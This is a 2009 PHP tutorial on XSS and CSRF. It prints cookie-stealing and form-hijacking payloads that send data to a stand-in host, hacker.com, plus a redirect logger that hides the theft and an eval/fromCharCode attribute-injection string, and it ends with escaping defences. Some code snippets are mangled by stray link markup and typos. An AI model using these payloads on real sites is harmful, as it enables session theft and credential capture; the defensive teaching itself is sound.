Share » Learn » eZ Publish » Dangers of CSRF and XSS

Dangers of CSRF and XSS

Monday 27 July 2009 1:59:13 am

  • Currently 5 out of 5 Stars.
  • 1
  • 2
  • 3
  • 4
  • 5

While CSRF is based on abusing the existing or allowed page elements, Cross Site Scripting (XSS) is an attempt to bypass input validation and give the attacker the means to inject content into the page. This content can be used to trick the user into disclosing sensitive information, execute actions via existing credentials, and so on. Even a CSRF attack can be mounted through the initial XSS hole, so in some ways, XSS is an exploit with nearly limitless possibilities. Unfortunately, XSS is also extremely common, arguably the biggest bane of web applications, affecting both large and small sites.

In most cases an XSS opportunity is not even very well hidden. Often it is featured on the front page of the website, in the form of a search box. When the user submits a search term, the initial query is displayed on the result page, usually as the value of the <input> tag to allow easy modification of the entry. The lack of validation is what gives the intruder the means and opportunity to execute an XSS attack. To trigger the exploit, the attacker simply needs to specify "> XSS STRING <", where the XSS STRING is some arbitrary content to be injected into the page. The initial "> is intended to terminate the <input> tag (where the query is placed), and the ending <" handles the closure of the remaining portion of the tag.

<input type="text" name="s" value="<?php echo $_POST['q']; ?>" />
// compromised output
<input type="text" name="s" value=""> XSS STRING <"" />

With this content in place, the attacker can now choose to modify the content of the page in any number of ways. For example, if I wanted to acquire the user's cookie for my own nefarious purpose, I would simply replace XSS STRING with the code below.

<script>
var r = new XMLHttpRequest();
r.open ('get', 'http://hacker.com/?'+document.cookie);  
r.send(null);
</script>

This small piece of JavaScript code makes an HTTP request to a site of the hacker's choice, sending the names and content of all the cookies currently set for the victim. The intruder can now duplicate those cookies and gain the same access credentials as the compromised user. The XMLHttpRequest feature is specific to Mozilla Firefox, but fortunately for the hacker, IE has an equivalent, ActiveXObject("Microsoft.XMLHTTP"); that works in the same way. This makes this hack universal.

Another trick is particularly well suited for pages that collect information from the user through a series of forms. Examples include a login page or a financial information request form on some e-commerce site. In this case, the attack string can be used to modify the action of the forms, making them send the data to an alternate site.

<script>
for (i=0; i<document.forms.length; i++)
document.forms[i].action='http://hacker.com/x.php?'+ document.forms[i].action;
</script>

The script above will go through all of the forms found on a given page and modify their action fields according to the intruder's wish. When a user submits information, it will never reach the intended page, going to the hacker instead. A particularly inventive attacker will take the time to not only capture the submitted information, but also to hide the evidence of the attack, by having the user's information sent to the intended destination though a temporary redirect:

log_data($_GET</span>, $_POST);
<a href="http://www.php.net/header" mce_href="http://www.php.net/header">header</a>("HTTP/1.0 307 Moved Permanently");
<a href="http://www.php.net/header" mce_href="http://www.php.net/header">header</a>("Location: ".$_SERVE['QUERY_STRING']);

When redirecting a POST request, the browser should confirm the action with the user. However, the message is not particularly clear and many users will simply click through. Even if they do not, the damage has already been done. Because all the operations are done through redirects, the HTTP_REFERER header is never updated, so the site also does not have any evidence of the attack in real-time. The only evidence of this can perhaps be found inside the access logs, where the initial request with the attack string is located.

In some situations, the application developer has implemented some basic, but incomplete, safeguards. For example, it is not uncommon that the <, ? and > characters necessary for tag injection are encoded into &gt;, &quot; and &lt; respectively, leaving single quotes (') untouched. This is the common result of the default htmlspecialchars() and the htmlentities() PHP functions, which encode special characters into equivalent HTML entities. The problem with leaving single quotes un-encoded is that some HTML tags actually use single quotes for attribute enclosure. This means that the attacker can prematurely terminate the existing attributes and inject some of his own.

For example, we could use the onMouseOver attribute to trigger a JavaScript event as soon as the mouse is moved over the compromised page element. Then, we must avoid all of the encoded characters and the single quote, as it is now acting as an attribute enclosure. While this may sound complex, it is actually quite trivial to perform, thanks to two JavaScript functions: String.fromCharCode() (which can be used to convert a list of ASCII codes into the characters they represent) and eval() (which will execute the given string). To implement a popup JavaScript alert exclaiming XSS, a hacker would simply inject the following string:

'onMouseOver='<a href="http://www.php.net/eval" mce_href="http://www.php.net/eval">eval</a>(String.fromCharCode
(97,108,101,114,116,40,39,88,83,83,39,41,59))' '

The initial single quotation mark terminates an open attribute and the final one starts the attribute we've hacked anew, to prevent an HTML parsing error. The content in the middle is our new attribute containing the JavaScript code with ASCII codes that translate into alert('XSS'); and are promptly executed by eval().

To avoid these kinds of problems, it is important to always pass ENT_QUOTES as the second parameter to the htmlspecialchars() and htmlentities() functions. This will trigger the encoding of single quotes into the representative HTML entity.

A related validation mistake is to rely solely on the strip_tags() function for the purposes of securing user input. While the function is extremely effective at removing HTML tags, it does nothing about the single or double quotes. A proper approach would be to perform strip_tags() first, then follow it up with either htmlspecialchars() or htmlentities():

$text = <a href="http://www.php.net/htmlspecialchars" mce_href="http://www.php.net/htmlspecialchars">htmlspecialchars</a>(<a href="http://www.php.net/strip_tags" mce_href="http://www.php.net/strip_tags">strip_tags</a>($_POST['msg']), ENT_QUOTES);
36 542 Users on board!

Tutorial menu

Printable

Printer Friendly version of the full article on one page with plain styles

Author(s)